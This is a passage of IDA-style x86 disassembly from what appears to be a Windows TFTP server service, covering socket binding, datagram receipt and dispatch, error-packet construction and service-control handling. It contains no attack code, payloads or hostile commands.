mov dword_100603C, eax
mov Memory, eax
lea eax, [ebp+Memory]
push eax
call sub_1001FA6
xor esi, esi
test eax, eax
jnz short loc_1001957
mov eax, [ebp+Memory]
xor ebx, ebx
cmp [eax], esi
jbe short loc_100194F
xor edi, edi
loc_100192E: ; CODE XREF: sub_10018DB+72j
mov ecx, [eax+edi+4]
cmp ecx, esi
jz short loc_1001947
cmp ecx, 100007Fh
jz short loc_1001947
push ecx ; in
call sub_100205A
mov eax, [ebp+Memory]
loc_1001947: ; CODE XREF: sub_10018DB+59j
; sub_10018DB+61j
inc ebx
add edi, 18h
cmp ebx, [eax]
jb short loc_100192E
loc_100194F: ; CODE XREF: sub_10018DB+4Fj
push eax ; Memory
call ds:free ; free
pop ecx
loc_1001957: ; CODE XREF: sub_10018DB+46j
push offset dword_10060A0
call ds:RtlCreateTimerQueue ; RtlCreateTimerQueue
cmp eax, esi
jnz loc_10019EB
mov eax, 0EA60h
push esi
push eax
push eax
push esi
push offset sub_10029BA
push offset dword_1006048
push dword_10060A0
call ds:RtlCreateTimer ; RtlCreateTimer
push esi ; lpName
push esi ; bInitialState
push esi ; bManualReset
push esi ; lpEventAttributes
mov edi, eax
call ds:CreateEventA ; CreateEventA
cmp eax, esi
mov dword_1005DF8, eax
jnz short loc_10019A2
mov eax, edi
jmp short loc_10019EB
; ---------------------------------------------------------------------------
loc_10019A2: ; CODE XREF: sub_10018DB+C1j
push esi
push 0FFFFFFFFh
push esi
push offset sub_1002219
push eax
push offset dword_1005DFC
call ds:RtlRegisterWait ; RtlRegisterWait
cmp eax, esi
jnz short loc_10019EB
mov ecx, offset overlapped
xor eax, eax
mov edi, ecx
push ecx ; overlapped
stosd
stosd
stosd
stosd
stosd
mov eax, dword_1005DF8
push offset Handle ; Handle
mov overlapped.hEvent, eax
call NotifyAddrChange ; NotifyAddrChange
cmp eax, esi
jz short loc_10019E9
cmp eax, 3E5h
jnz short loc_10019EB
loc_10019E9: ; CODE XREF: sub_10018DB+105j
xor eax, eax
loc_10019EB: ; CODE XREF: sub_10018DB+89j
; sub_10018DB+C5j ...
pop edi
pop esi
pop ebx
leave
retn
sub_10018DB endp
; =============== S U B R O U T I N E =======================================
sub_10019F0 proc near ; CODE XREF: sub_1001665+203p
mov eax, offset lpMem
push offset stru_1006060 ; lpCriticalSection
mov dword_100607C, eax
mov lpMem, eax
call ds:InitializeCriticalSection ; InitializeCriticalSection
push 0 ; dwMaximumSize
push 0EFD1Ch ; dwInitialSize
push 0 ; flOptions
call ds:HeapCreate ; HeapCreate
mov hHeap, eax
retn
sub_10019F0 endp
; =============== S U B R O U T I N E =======================================
sub_1001A1F proc near ; CODE XREF: sub_10029BA+79p
push ebx
push esi
mov ebx, offset stru_1006060
push edi
push ebx ; lpCriticalSection
xor esi, esi
call ds:EnterCriticalSection
mov eax, dword_1005DF0
sub eax, dword_1005DF4
cmp eax, 0Ah
jbe short loc_1001A46
shr eax, 1
mov esi, eax
jmp short loc_1001A4E
; ---------------------------------------------------------------------------
loc_1001A46: ; CODE XREF: sub_1001A1F+1Fj
cmp eax, 3
jbe short loc_1001A4E
push 2
pop esi
loc_1001A4E: ; CODE XREF: sub_1001A1F+25j
; sub_1001A1F+2Aj
test esi, esi
jbe short loc_1001A86
mov edi, esi
loc_1001A54: ; CODE XREF: sub_1001A1F+65j
mov eax, lpMem
mov esi, eax
mov ecx, [eax]
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
push dword ptr [esi+30h] ; hObject
call ds:CloseHandle ; CloseHandle
push esi ; lpMem
push 0 ; dwFlags
push hHeap ; hHeap
call ds:HeapFree
dec dword_1005DF0
dec edi
jnz short loc_1001A54
loc_1001A86: ; CODE XREF: sub_1001A1F+31j
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
pop esi
pop ebx
retn
sub_1001A1F endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1001A91(SOCKET s, int)
sub_1001A91 proc near ; CODE XREF: .text:01001DCCp
; .text:01001DE1p
dwFlags = dword ptr -10004h
argp = dword ptr -10000h
Fromlen = dword ptr -0FFFCh
var_FFF8 = dword ptr -0FFF8h
Buffers = _WSABUF ptr -0FFF4h
Handles = dword ptr -0FFECh
var_FFE8 = dword ptr -0FFE8h
Overlapped = _OVERLAPPED ptr -0FFE4h
to = sockaddr ptr -0FFD0h
var_FFC0 = dword ptr -0FFC0h
s = dword ptr 4
arg_4 = dword ptr 8
mov eax, 10004h
call _chkstk ; _chkstk
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov [esp+10014h+dwFlags], ebp
mov ebx, offset stru_1006060
loc_1001AAA: ; CODE XREF: sub_1001A91+291j
lea eax, [esp+10014h+argp]
push eax ; argp
push 4004667Fh ; cmd
push [esp+1001Ch+s] ; s
call ds:ioctlsocket ; ioctlsocket
cmp eax, ebp
jnz loc_1001D27
cmp [esp+10014h+argp], ebp
jz loc_1001D65
xor eax, eax
lea edi, [esp+10014h+Overlapped]
stosd
stosd
stosd
stosd
push ebx ; lpCriticalSection
stosd
call ds:EnterCriticalSection
mov eax, lpMem
inc dword_1005DF4
cmp eax, offset lpMem
jz short loc_1001B11
mov ecx, [eax]
mov esi, eax
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
push dword ptr [esi+30h] ; hEvent
call ds:ResetEvent ; ResetEvent
mov eax, [esi+30h]
jmp short loc_1001B41
; ---------------------------------------------------------------------------
loc_1001B11: ; CODE XREF: sub_1001A91+64j
inc dword_1005DF0
push 2FF6Ch ; dwBytes
push 8 ; dwFlags
push hHeap ; hHeap
call ds:HeapAlloc
mov esi, eax
cmp esi, ebp
jz loc_1001D5E
push ebp ; lpName
push ebp ; bInitialState
push ebp ; bManualReset
push ebp ; lpEventAttributes
call ds:CreateEventA ; CreateEventA
mov [esi+30h], eax
loc_1001B41: ; CODE XREF: sub_1001A91+7Ej
push ebx ; lpCriticalSection
mov [esp+10018h+Overlapped.hEvent], eax
call ds:LeaveCriticalSection
lea ebp, [esi+34h]
mov ecx, 3FEFh
xor eax, eax
mov edi, ebp
rep stosd
stosb
mov eax, [esp+10014h+arg_4]
mov [esp+10014h+Buffers.buf], ebp
mov [esp+10014h+Buffers.len], 0FFBDh
mov [esp+10014h+Fromlen], 10h
mov [esi+1Ch], eax
lea eax, [esp+10014h+Overlapped]
push 0 ; lpCompletionRoutine
push eax ; lpOverlapped
lea eax, [esp+1001Ch+Fromlen]
lea edi, [esi+2Ch]
push eax ; lpFromlen
lea eax, [esi+0Ch]
push eax ; lpFrom
lea eax, [esp+10024h+dwFlags]
push eax ; lpFlags
push edi ; lpNumberOfBytesRecvd
lea eax, [esp+1002Ch+Buffers]
push 1 ; dwBufferCount
push eax ; lpBuffers
push [esp+10034h+s] ; s
call ds:WSARecvFrom ; WSARecvFrom
mov [esp+10014h+var_FFF8], eax
mov ax, [esi+0Eh]
push eax ; netshort
call ds:ntohs ; ntohs
cmp [esp+10014h+var_FFF8], 0
jz short loc_1001C34
call ds:WSAGetLastError ; WSAGetLastError
cmp eax, 3E5h
jnz loc_1001D2F
mov eax, hHandle
push 0FFFFFFFFh ; dwMilliseconds
mov [esp+10018h+Handles], eax
mov eax, [esp+10018h+Overlapped.hEvent]
mov [esp+10018h+var_FFE8], eax
lea eax, [esp+10018h+Handles]
push 0 ; bWaitAll
push eax ; lpHandles
push 2 ; nCount
call ds:WaitForMultipleObjects ; WaitForMultipleObjects
cmp eax, 0FFFFFFFFh
jz loc_1001D2F
cmp eax, 102h
jz loc_1001D2F
test eax, eax
jz loc_1001D2F
lea eax, [esp+10014h+dwFlags]
push eax ; lpdwFlags
push 0 ; fWait
lea eax, [esp+1001Ch+Overlapped]
push edi ; lpcbTransfer
push eax ; lpOverlapped
push [esp+10024h+s] ; s
call ds:WSAGetOverlappedResult ; WSAGetOverlappedResult
test eax, eax
jnz short loc_1001C34
call ds:WSAGetLastError ; WSAGetLastError
jmp loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001C34: ; CODE XREF: sub_1001A91+129j
; sub_1001A91+196j
push 0 ; dwMilliseconds
push hHandle ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
test eax, eax
jz loc_1001D2F
cmp dword ptr [edi], 2
jl loc_1001CEA
xor edi, edi
cmp [esp+10014h+arg_4], edi
jz short loc_1001CDA
mov ax, [ebp+0]
push eax ; hostshort
call ds:htons ; htons
movzx ecx, ax
test ecx, ecx
jle short loc_1001CB8
cmp ecx, 2
jle short loc_1001C81
cmp ecx, 4
jz short loc_1001CB8
cmp ecx, 5
jnz short loc_1001CB8
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001C81: ; CODE XREF: sub_1001A91+1E2j
cmp ax, 1
jnz short loc_1001C94
inc dword ptr Time+4
mov edi, offset sub_1002F31
jmp short loc_1001CA5
; ---------------------------------------------------------------------------
loc_1001C94: ; CODE XREF: sub_1001A91+1F4j
cmp ax, 2
jnz short loc_1001CA5
inc dword_10060C8
mov edi, offset sub_100333A
loc_1001CA5: ; CODE XREF: sub_1001A91+201j
; sub_1001A91+207j
mov eax, [esp+10014h+s]
test edi, edi
mov [esi+8], eax
jz short loc_1001CEA
push esi
call edi ; sub_1002F31
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001CB8: ; CODE XREF: sub_1001A91+1DDj
; sub_1001A91+1E7j ...
push 0 ; int
push 4 ; hostshort
push [esp+1001Ch+s] ; s
inc dword_10060CC
lea eax, [esp+10020h+var_FFC0]
push eax ; int
lea eax, [esp+10024h+to]
push eax ; to
call sub_100230A
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001CDA: ; CODE XREF: sub_1001A91+1CBj
mov eax, [esp+10014h+s]
push esi
mov [esi+8], eax
call sub_1002EC8
loc_1001CEA: ; CODE XREF: sub_1001A91+19Ej
; sub_1001A91+1BCj ...
push ebx ; lpCriticalSection
call ds:EnterCriticalSection
mov eax, lpMem
mov dword ptr [esi+4], offset lpMem
mov [esi], eax
push offset Addend ; lpAddend
mov [eax+4], esi
mov lpMem, esi
call ds:InterlockedIncrement ; InterlockedIncrement
dec dword_1005DF4
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
xor ebp, ebp
jmp loc_1001AAA
; ---------------------------------------------------------------------------
loc_1001D27: ; CODE XREF: sub_1001A91+32j
call ds:WSAGetLastError ; WSAGetLastError
jmp short loc_1001D65
; ---------------------------------------------------------------------------
loc_1001D2F: ; CODE XREF: sub_1001A91+136j
; sub_1001A91+161j ...
push ebx ; lpCriticalSection
call ds:EnterCriticalSection
mov eax, lpMem
mov dword ptr [esi+4], offset lpMem
mov [esi], eax
push offset Addend ; lpAddend
mov [eax+4], esi
mov lpMem, esi
call ds:InterlockedIncrement ; InterlockedIncrement
dec dword_1005DF4
loc_1001D5E: ; CODE XREF: sub_1001A91+9Dj
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1001D65: ; CODE XREF: sub_1001A91+3Cj
; sub_1001A91+29Cj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10004h
retn 8
sub_1001A91 endp
; ---------------------------------------------------------------------------
loc_1001D74: ; DATA XREF: sub_100188E+2Do
push ecx
push ebx
push ebp
push esi
mov esi, offset stru_1006020
push edi
mov edi, ds:TryEnterCriticalSection
push esi
xor ebp, ebp
xor ebx, ebx
call edi ; TryEnterCriticalSection
loc_1001D8B: ; CODE XREF: .text:01001DA1j
test eax, eax
jnz short loc_1001DA7
push 0C8h
call ds:Sleep ; Sleep
push esi
call edi ; TryEnterCriticalSection
inc ebx
cmp ebx, 7Dh
jb short loc_1001D8B
test eax, eax
jz short loc_1001DD1
loc_1001DA7: ; CODE XREF: .text:01001D8Dj
lea eax, [esp+10h]
push eax
push dword ptr [esp+1Ch]
call sub_10021E5
test eax, eax
jnz short loc_1001DC0
mov eax, [esp+10h]
mov ebp, [eax+0Ch]
loc_1001DC0: ; CODE XREF: .text:01001DB7j
push esi
call ds:LeaveCriticalSection
push ebp
push dword ptr [esp+1Ch]
call sub_1001A91
loc_1001DD1: ; CODE XREF: .text:01001DA5j
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_1001DDB: ; DATA XREF: sub_100188E:loc_10018C2o
push 0
push dword ptr [esp+8]
call sub_1001A91
xor eax, eax
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __stdcall HandlerProc(DWORD)
HandlerProc proc near ; DATA XREF: sub_1001665+6o
Time = qword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+Time]
push eax ; Time
call ds:time ; time
inc ServiceStatus.dwCheckPoint
pop ecx
lea eax, [ebp+Time]
push eax ; Time
call ds:ctime ; ctime
mov eax, [ebp+arg_0]
pop ecx
dec eax
jz short loc_1001E68
dec eax
jz short loc_1001E35
dec eax
jz short loc_1001E1D
dec eax
dec eax
jz short loc_1001E68
jmp short loc_1001E4B
; ---------------------------------------------------------------------------
loc_1001E1D: ; CODE XREF: HandlerProc+2Aj
push hThread ; hThread
call ds:ResumeThread ; ResumeThread
mov ServiceStatus.dwCurrentState, 4
jmp short loc_1001E4B
; ---------------------------------------------------------------------------
loc_1001E35: ; CODE XREF: HandlerProc+27j
push hThread ; hThread
call ds:SuspendThread ; SuspendThread
mov ServiceStatus.dwCurrentState, 7
loc_1001E4B: ; CODE XREF: HandlerProc+30j
; HandlerProc+48j
push offset ServiceStatus ; lpServiceStatus
push hServiceStatus ; hServiceStatus
call ds:SetServiceStatus ; SetServiceStatus
test eax, eax
jnz short locret_1001E6F
call ds:GetLastError
jmp short locret_1001E6F
; ---------------------------------------------------------------------------
loc_1001E68: ; CODE XREF: HandlerProc+24j
; HandlerProc+2Ej
push 0
call sub_1001E73
locret_1001E6F: ; CODE XREF: HandlerProc+73j
; HandlerProc+7Bj
leave
retn 4
HandlerProc endp
; =============== S U B R O U T I N E =======================================
sub_1001E73 proc near ; CODE XREF: sub_1001665+B9p
; HandlerProc+7Fp
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, ds:SetServiceStatus
push edi
mov edi, offset ServiceStatus
push edi ; lpServiceStatus
mov ServiceStatus.dwCurrentState, 3
push hServiceStatus ; hServiceStatus
call esi ; SetServiceStatus
mov ebp, ds:GetLastError
xor ebx, ebx
cmp eax, ebx
jnz short loc_1001EA3
call ebp ; GetLastError
loc_1001EA3: ; CODE XREF: sub_1001E73+2Cj
push hHandle ; hEvent
call ds:SetEvent ; SetEvent
mov ServiceStatus.dwCurrentState, 1
mov ServiceStatus.dwCheckPoint, ebx
mov eax, [esp+10h+arg_0]
mov ServiceStatus.dwWaitHint, ebx
cmp eax, ebx
jnz short loc_1001EDB
mov ServiceStatus.dwWin32ExitCode, ebx
mov ServiceStatus.dwServiceSpecificExitCode, ebx
jmp short loc_1001EFD
; ---------------------------------------------------------------------------
loc_1001EDB: ; CODE XREF: sub_1001E73+58j
cmp eax, 834h
jb short loc_1001EF3
cmp eax, 16A7h
mov ServiceStatus.dwWin32ExitCode, 42Ah
jbe short loc_1001EF8
loc_1001EF3: ; CODE XREF: sub_1001E73+6Dj
mov ServiceStatus.dwWin32ExitCode, eax
loc_1001EF8: ; CODE XREF: sub_1001E73+7Ej
mov ServiceStatus.dwServiceSpecificExitCode, eax
loc_1001EFD: ; CODE XREF: sub_1001E73+66j
push edi ; lpServiceStatus
push hServiceStatus ; hServiceStatus
call esi ; SetServiceStatus
cmp eax, ebx
jnz short loc_1001F0C
call ebp ; GetLastError
loc_1001F0C: ; CODE XREF: sub_1001E73+95j
mov eax, hObject
mov esi, ds:CloseHandle
cmp eax, ebx
jz short loc_1001F24
push eax ; hObject
call esi ; CloseHandle
mov hObject, ebx
loc_1001F24: ; CODE XREF: sub_1001E73+A6j
mov eax, hHandle
cmp eax, ebx
jz short loc_1001F36
push eax ; hObject
call esi ; CloseHandle
mov hHandle, ebx
loc_1001F36: ; CODE XREF: sub_1001E73+B8j
mov eax, File
cmp eax, ebx
jz short loc_1001F4D
push eax ; File
call ds:fclose ; fclose
pop ecx
mov File, ebx
loc_1001F4D: ; CODE XREF: sub_1001E73+CAj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_1001E73 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1001F54(void *Memory)
sub_1001F54 proc near ; CODE XREF: sub_1002182+1Cp
; sub_1002219+B7p
Memory = dword ptr 4
push esi
mov esi, [esp+4+Memory]
push 0FFFFFFFFh
push dword ptr [esi+10h]
call ds:RtlDeregisterWaitEx ; RtlDeregisterWaitEx
push dword ptr [esi+8] ; s
call ds:closesocket ; closesocket
push dword ptr [esi+14h] ; hEvent
call ds:WSACloseEvent ; WSACloseEvent
mov eax, [esi]
mov ecx, [esi+4]
cmp eax, ecx
jnz short loc_1001F90
mov eax, Memory
mov ecx, [eax]
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
jmp short loc_1001F9A
; ---------------------------------------------------------------------------
loc_1001F90: ; CODE XREF: sub_1001F54+29j
mov [ecx], eax
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
loc_1001F9A: ; CODE XREF: sub_1001F54+3Aj
push esi ; Memory
call ds:free ; free
pop ecx
pop esi
retn 4
sub_1001F54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1001FA6 proc near ; CODE XREF: sub_10018DB+3Dp
; sub_1002219+1Dp
var_8 = dword ptr -8
Size = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
xor edi, edi
lea eax, [ebp+Size]
push edi ; bOrder
push eax ; pdwSize
push edi ; pIpAddrTable
mov [ebp+Size], edi
mov [ebp+var_8], 0C0000017h
mov [ebx], edi
call GetIpAddrTable ; GetIpAddrTable
cmp eax, edi
jz short loc_1001FD3
cmp eax, 7Ah
jnz short loc_100201A
loc_1001FD3: ; CODE XREF: sub_1001FA6+26j
push [ebp+Size] ; Size
call ds:malloc ; malloc
mov esi, eax
pop ecx
cmp esi, edi
jz short loc_100201A
loc_1001FE3: ; CODE XREF: sub_1001FA6+63j
lea eax, [ebp+Size]
push edi ; bOrder
push eax ; pdwSize
push esi ; pIpAddrTable
call GetIpAddrTable ; GetIpAddrTable
cmp eax, edi
jz short loc_1002015
cmp eax, 7Ah
jnz short loc_100201A
push [ebp+Size] ; NewSize
push esi ; Memory
call ds:realloc ; realloc
pop ecx
cmp eax, edi
pop ecx
jz short loc_100200B
mov esi, eax
jmp short loc_1001FE3
; ---------------------------------------------------------------------------
loc_100200B: ; CODE XREF: sub_1001FA6+5Fj
push esi ; Memory
call ds:free ; free
pop ecx
jmp short loc_100201A
; ---------------------------------------------------------------------------
loc_1002015: ; CODE XREF: sub_1001FA6+4Aj
mov [ebp+var_8], edi
mov [ebx], esi
loc_100201A: ; CODE XREF: sub_1001FA6+2Bj
; sub_1001FA6+3Bj ...
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
leave
retn 4
sub_1001FA6 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1002024(struct in_addr in, int)
sub_1002024 proc near ; CODE XREF: sub_100205A+B7p
in = in_addr ptr 4
arg_4 = dword ptr 8
push dword ptr [esp+in.S_un] ; in
call ds:inet_ntoa ; inet_ntoa
test eax, eax
jz short locret_1002057
push edi
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
push esi
mov eax, ecx
mov esi, edi
mov edi, [esp+8+arg_4]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop esi
pop edi
locret_1002057: ; CODE XREF: sub_1002024+Cj
retn 8
sub_1002024 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_100205A(struct in_addr in)
sub_100205A proc near ; CODE XREF: sub_10018DB+64p
; sub_1002219+65p ...
var_28 = dword ptr -28h
name = sockaddr ptr -14h
var_4 = dword ptr -4
in = in_addr ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
xor esi, esi
push edi
mov [ebp+var_4], esi
loc_1002068: ; CODE XREF: sub_100205A+5Dj
push 1 ; dwFlags
push esi ; g
push esi ; lpProtocolInfo
push esi ; protocol
push 2 ; type
push 2 ; af
call ds:WSASocketA ; WSASocketA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_100209D
xor eax, eax
lea edi, [ebp+name]
stosd
stosd
stosd
push offset proto ; "udp"
push offset name ; "tftp"
stosd
call ds:getservbyname ; getservbyname
cmp eax, esi
jnz short loc_10020B9
jmp short loc_10020B1
; ---------------------------------------------------------------------------
loc_100209D: ; CODE XREF: sub_100205A+22j
call ds:WSAGetLastError ; WSAGetLastError
push 2EEh ; dwMilliseconds
call ds:Sleep ; Sleep
inc [ebp+var_4]
loc_10020B1: ; CODE XREF: sub_100205A+41j
cmp [ebp+var_4], 0Ah
jge short loc_10020E6
jmp short loc_1002068
; ---------------------------------------------------------------------------
loc_10020B9: ; CODE XREF: sub_100205A+3Fj
mov [ebp+name.sa_family], 2
mov ax, [eax+8]
mov word ptr [ebp+name.sa_data], ax
mov eax, dword ptr [ebp+in.S_un]
mov dword ptr [ebp+name.sa_data+2], eax
lea eax, [ebp+name]
push 10h ; namelen
push eax ; name
push ebx ; s
call ds:bind ; bind
test eax, eax
jz short loc_10020E6
call ds:GetLastError
jmp short loc_100215E
; ---------------------------------------------------------------------------
loc_10020E6: ; CODE XREF: sub_100205A+5Bj
; sub_100205A+82j
cmp ebx, 0FFFFFFFFh
jz short loc_100215E
push 20h ; Size
call ds:malloc ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_100213D
push 8
xor eax, eax
pop ecx
mov edi, esi
rep stosd
mov eax, dword ptr [ebp+in.S_un]
lea ecx, [ebp+var_28]
push ecx ; int
push eax ; in
mov [esi+8], ebx
mov [esi+0Ch], eax
call sub_1002024
xor eax, eax
push eax ; lpName
push eax ; bInitialState
push eax ; bManualReset
push eax ; lpEventAttributes
call ds:CreateEventA ; CreateEventA
mov edi, eax
test edi, edi
jz short loc_1002140
push 1 ; char
push edi ; hEventObject
push ebx ; s
mov [esi+14h], edi
call sub_100188E
test eax, eax
mov [esi+10h], eax
jnz short loc_1002162
jmp short loc_1002140
; ---------------------------------------------------------------------------
loc_100213D: ; CODE XREF: sub_100205A+9Ej
mov edi, dword ptr [ebp+in.S_un]
loc_1002140: ; CODE XREF: sub_100205A+CCj
; sub_100205A+E1j
push ebx ; s
call ds:closesocket ; closesocket
test edi, edi
jz short loc_1002152
push edi ; hObject
call ds:CloseHandle ; CloseHandle
loc_1002152: ; CODE XREF: sub_100205A+EFj
test esi, esi
jz short loc_100215E
push esi ; Memory
call ds:free ; free
pop ecx
loc_100215E: ; CODE XREF: sub_100205A+8Aj
; sub_100205A+8Fj ...
xor eax, eax
jmp short loc_100217B
; ---------------------------------------------------------------------------
loc_1002162: ; CODE XREF: sub_100205A+DFj
mov eax, Memory
mov dword ptr [esi+4], offset Memory
mov [esi], eax
mov [eax+4], esi
mov Memory, esi
mov eax, esi
loc_100217B: ; CODE XREF: sub_100205A+106j
pop edi
pop esi
pop ebx
leave
retn 4
sub_100205A endp
; =============== S U B R O U T I N E =======================================
sub_1002182 proc near ; CODE XREF: sub_1002219:loc_1002298p
mov ecx, Memory
push esi
mov esi, offset Memory
xor eax, eax
cmp ecx, esi
jz short loc_10021B3
push edi
loc_1002195: ; CODE XREF: sub_1002182+2Ej
cmp dword ptr [ecx+18h], 0
mov edi, [ecx]
jnz short loc_10021A8
push ecx ; Memory
call sub_1001F54
push 1
pop eax
jmp short loc_10021AC
; ---------------------------------------------------------------------------
loc_10021A8: ; CODE XREF: sub_1002182+19j
and dword ptr [ecx+18h], 0
loc_10021AC: ; CODE XREF: sub_1002182+24j
cmp edi, esi
mov ecx, edi
jnz short loc_1002195
pop edi
loc_10021B3: ; CODE XREF: sub_1002182+10j
pop esi
retn
sub_1002182 endp
; =============== S U B R O U T I N E =======================================
sub_10021B5 proc near ; CODE XREF: sub_1002219+43p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
push esi
mov ecx, offset Memory
and dword ptr [edx], 0
mov eax, Memory
loc_10021C7: ; CODE XREF: sub_10021B5+21j
cmp eax, ecx
jz short loc_10021DF
mov esi, [eax+0Ch]
cmp esi, [esp+4+arg_0]
jz short loc_10021D8
mov eax, [eax]
jmp short loc_10021C7
; ---------------------------------------------------------------------------
loc_10021D8: ; CODE XREF: sub_10021B5+1Dj
push 1
mov [edx], eax
pop eax
jmp short loc_10021E1
; ---------------------------------------------------------------------------
loc_10021DF: ; CODE XREF: sub_10021B5+14j
xor eax, eax
loc_10021E1: ; CODE XREF: sub_10021B5+28j
pop esi
retn 8
sub_10021B5 endp
; =============== S U B R O U T I N E =======================================
sub_10021E5 proc near ; CODE XREF: .text:01001DB0p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
push esi
mov ecx, offset Memory
and dword ptr [edx], 0
mov eax, Memory
loc_10021F7: ; CODE XREF: sub_10021E5+21j
cmp eax, ecx
jz short loc_100220A
mov esi, [eax+8]
cmp esi, [esp+4+arg_0]
jz short loc_1002208
mov eax, [eax]
jmp short loc_10021F7
; ---------------------------------------------------------------------------
loc_1002208: ; CODE XREF: sub_10021E5+1Dj
mov [edx], eax
loc_100220A: ; CODE XREF: sub_10021E5+14j
mov eax, [edx]
pop esi
neg eax
sbb eax, eax
and al, 0A9h
add eax, 57h
retn 8
sub_10021E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002219 proc near ; DATA XREF: sub_10018DB+CBo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
Memory = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
xor esi, esi
push offset stru_1006020 ; lpCriticalSection
mov [ebp+var_C], esi
call ds:EnterCriticalSection
lea eax, [ebp+Memory]
push eax
call sub_1001FA6
test eax, eax
jnz short loc_10022A9
mov eax, [ebp+Memory]
xor ebx, ebx
cmp [eax], esi
jbe short loc_1002298
loc_1002248: ; CODE XREF: sub_1002219+7Dj
mov eax, [eax+esi+4]
test eax, eax
jz short loc_100228D
cmp eax, 100007Fh
jz short loc_100228D
lea ecx, [ebp+var_8]
push ecx
push eax
call sub_10021B5
test eax, eax
jz short loc_1002271
mov eax, [ebp+var_8]
mov dword ptr [eax+18h], 1
jmp short loc_100228D
; ---------------------------------------------------------------------------
loc_1002271: ; CODE XREF: sub_1002219+4Aj
mov eax, [ebp+Memory]
push 1
pop edi
push dword ptr [eax+esi+4] ; in
mov [ebp+var_C], edi
call sub_100205A
test eax, eax
mov [ebp+var_8], eax
jz short loc_100228D
mov [eax+18h], edi
loc_100228D: ; CODE XREF: sub_1002219+35j
; sub_1002219+3Cj ...
mov eax, [ebp+Memory]
inc ebx
add esi, 18h
cmp ebx, [eax]
jb short loc_1002248
loc_1002298: ; CODE XREF: sub_1002219+2Dj
call sub_1002182
push [ebp+Memory] ; Memory
mov esi, eax
call ds:free ; free
pop ecx
loc_10022A9: ; CODE XREF: sub_1002219+24j
cmp [ebp+var_C], 0
jnz short loc_10022E9
test esi, esi
jnz short loc_10022E9
mov eax, Memory
mov edi, offset Memory
cmp eax, edi
jz short loc_10022E9
loc_10022C1: ; CODE XREF: sub_1002219+CEj
mov [ebp+var_8], eax
mov ebx, [eax]
test byte ptr [eax+1Ch], 1
jnz short loc_10022E3
mov esi, [eax+0Ch]
push eax ; Memory
call sub_1001F54
push esi ; in
call sub_100205A
test eax, eax
jz short loc_10022E3
or dword ptr [eax+1Ch], 1
loc_10022E3: ; CODE XREF: sub_1002219+B1j
; sub_1002219+C4j
cmp ebx, edi
mov eax, ebx
jnz short loc_10022C1
loc_10022E9: ; CODE XREF: sub_1002219+94j
; sub_1002219+98j ...
push offset overlapped ; overlapped
push offset Handle ; Handle
call NotifyAddrChange ; NotifyAddrChange
push offset stru_1006020 ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002219 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_100230A(struct sockaddr *to, int, SOCKET s, u_short hostshort, int)
sub_100230A proc near ; CODE XREF: sub_1001A91+242p
; sub_10023D8+23Cp ...
buf = byte ptr -0FFBCh
var_FFBA = word ptr -0FFBAh
var_FFB8 = byte ptr -0FFB8h
to = dword ptr 8
s = dword ptr 10h
hostshort = word ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 0FFBCh
call _chkstk ; _chkstk
push ebx
push esi
mov esi, ds:htons
push edi
push 5 ; hostshort
call esi ; htons
mov edi, dword ptr [ebp+hostshort]
mov word ptr [ebp+buf], ax
push edi ; hostshort
call esi ; htons
cmp [ebp+arg_10], 0
mov [ebp+var_FFBA], ax
jz short loc_1002369
mov edi, [ebp+arg_10]
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [ebp+var_FFB8]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, [ebp+arg_10]
jmp short loc_10023A2
; ---------------------------------------------------------------------------
loc_1002369: ; CODE XREF: sub_100230A+32j
cmp di, 9
jb short loc_1002371
xor edi, edi
loc_1002371: ; CODE XREF: sub_100230A+63j
movzx eax, di
or ecx, 0FFFFFFFFh
lea ebx, [ebp+var_FFB8]
